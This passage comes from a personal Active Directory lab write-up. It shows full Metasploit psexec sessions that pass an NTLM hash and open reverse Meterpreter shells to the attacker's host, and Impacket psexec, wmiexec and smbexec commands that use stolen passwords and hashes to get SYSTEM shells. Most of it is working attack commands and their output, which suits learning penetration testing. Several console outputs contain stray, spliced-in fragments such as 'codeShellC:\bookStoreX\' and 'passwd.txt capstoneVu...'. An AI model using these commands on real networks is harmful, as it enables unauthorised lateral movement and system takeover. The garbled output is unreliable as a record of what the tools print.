040777/rwxrwxrwx 0    dir   2024-09-29 13:09:08 -0400  $WinREAgent

```

It also worked with the hash.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting
RHOSTS    192.168.163.157
RPORT     445
SERVICE_DESCRIPTION          BoilerCTF   TCM-Active...
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain
SMBPass   aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE
SMBUser   Administrator
192.168.163.157  codeShellC:\bookStoreX\

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
LPORT    4444               yes       The listen port

Exploit target:
Id  Name
--  --
0  Automatic  passwd.txt  capstoneVu...

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'Administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[*] 192.168.163.157:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.157
[*] Meterpreter session 3 opened (192.168.163.133:4444 → 192.168.163.157:52225) at 2024-10-04 23:01:17 -0400
meterpreter > 

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting
RHOSTS    192.168.163.158
RPORT     445
SERVICE_DESCRIPTION          BoilerCTF   TCM-Active...
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain
SMBPass   aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE
SMBUser   Administrator
192.168.163.158  codeShellC:\bookStoreX\

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
LPORT    4444               yes       The listen port

Exploit target:
Id  Name
--  --
0  Automatic  passwd.txt  capstoneVu...

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 4 opened (192.168.163.133:4444 → 192.168.163.158:50438) at 2024-10-04 23:11:15 -0400
meterpreter > 

```

It worked in both Clients with the built-in Administrator account. But, it did not work with Frank or Nami.

This last part is going to be focused on doing the exploitation without the use of Metasploit:

There are a couple options in here, we can use:

```
"#psexec.py ONEPIECE/ZRoronoa:'Password1'@192.168.163.158"
```

```
[$] psexec.py ONEPIECE/ZRoronoa:'Password2'@192.168.163.158
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.163.158.....
[*] Found writable share ADMIN$  
[*] Uploading file CwRGEBqZ.exe  
[*] Opening SVCManager on 192.168.163.158.....
[*] Creating service SXVo on 192.168.163.158.....
[*] Starting service SXVo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4894]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd .../..  
C:\>dir
Volume in drive C has no label.
Volume Serial Number is 38E3-4EB3

Directory of C:\

12/07/2019 02:14 AM <DIR> PerfLogs
10/03/2024 09:00 PM <DIR> Program Files
09/07/2022 08:16 PM <DIR> Program Files (x86)
09/29/2024 01:30 PM <DIR> Users
10/06/2024 12:59 PM <DIR> Windows
09/30/2024 07:09 PM <DIR> Windows.old
          0 File(s)    0 bytes
          6 Dir(s) 32,156,536,832 bytes free
users.txt snaduw.txt exploitvuln...  
C:\>cd Users
C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is 38E3-4EB3

Directory of C:\Users

09/29/2024 01:30 PM <DIR> .
09/29/2024 01:30 PM <DIR> ..
09/29/2024 10:47 AM <DIR> administrator
09/29/2024 01:31 PM <DIR> Administrator.THEROBOT
09/28/2024 07:50 PM <DIR> frank
09/27/2024 08:37 PM <DIR> Public
09/29/2024 01:02 PM <DIR> ZRoronoa
          0 File(s)    0 bytes
          7 Dir(s) 32,156,536,832 bytes free
C:\Users>whoami
nt authority\system
C:\Users>
```

If we have a weird password, we can issue command without the password. It will prompt to input the password by itself (Linux Style).

After making the successfully getting a reverse shell, Windows Defender warns us about the threat, and prompts us to do something about it.

```
[kali㉿kali]-[~/Desktop/TCM-ActiveDirectory-Lab/GainingAccess]
$ psexec.py ONEPIECE/ZRoronoa:@192.168.163.158
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Requesting shares on 192.168.163.158.....
[*] Found writable share ADMIN$  
[*] Uploading file IanMCKbH.exe  
[*] Opening SVCManager on 192.168.163.158.....
[*] Creating service tDEZ on 192.168.163.158.....
[*] Starting service tDEZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4894]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

We can also use hashes here, and local Administrator accounts (Do not forget we are using the whole NTLM hash):



```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/GainingAccess]
$ psexec.py administrator@192.168.163.157 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.163.157.....
[*] Found writable share ADMIN$
[*] Uploading file cVyQ0eFs.exe
[*] Opening SVCManager on 192.168.163.157.....
[*] Creating service Rrno on 192.168.163.157.....
[*] Starting service Rrno.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\SYSTEM
C:\Windows\system32>
```

If **psexec** is not working, or if it is being blocked by antivirus, we can also use:

```
"#wmiexec.py administrator@192.168.163.157 -hashes
aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f"
```

or

```
"#smbexec.py administrator@192.168.163.157 -hashes
aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f"
```

but, these wont work on our environment.